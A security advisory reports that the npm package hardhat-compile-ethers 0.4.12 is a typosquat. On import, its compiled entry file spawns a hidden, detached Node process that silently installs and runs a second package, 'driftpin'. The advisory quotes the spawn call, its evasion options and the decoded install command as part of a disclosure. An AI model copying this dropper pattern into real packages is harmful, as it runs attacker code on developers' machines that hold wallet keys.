hardhat-compile-ethers @0.4.12

Summary

The package's main entry dist/src/index.js contains a payload appended after the legitimate Hardhat exports. On require/import (e.g. when Hardhat loads the user's config), it spawns a detached Node child ( spawn(process.execPath, ['-e', code], {detached:true, stdio:'ignore', windowsHide:true}) ) that runs a base64-decoded command to silently npm install driftpin --no-save --silent --no-audit --no-fund , then require('driftpin') and invoke getPlugin()() , executing attacker-controlled code in the installer's Node process. Both the shell command and the module name 'driftpin' are base64-encoded to hide them from casual inspection, and the spawn options (detached, stdio ignored, windows window hidden) are evasion mechanics. The payload is absent from the TypeScript source (src/index.ts) and only appears in the published dist artifact, indicating post-build injection. The package name mimics legitimate Hardhat/ethers plugins (e.g. @nomicfoundation/hardhat-ethers, hardhat-deploy-ethers) and the README is copied from wighawag/hardhat-deploy, making this a typosquat that delivers a dependency-chain dropper. Installers are typically Hardhat development machines that hold wallet keys and signing material, making arbitrary code execution on import especially damaging.

Source: amazon-inspector (3bb9781577ff17698d2cb66a6cd832fe8bdda014b30c0c662055a45d42801ac1)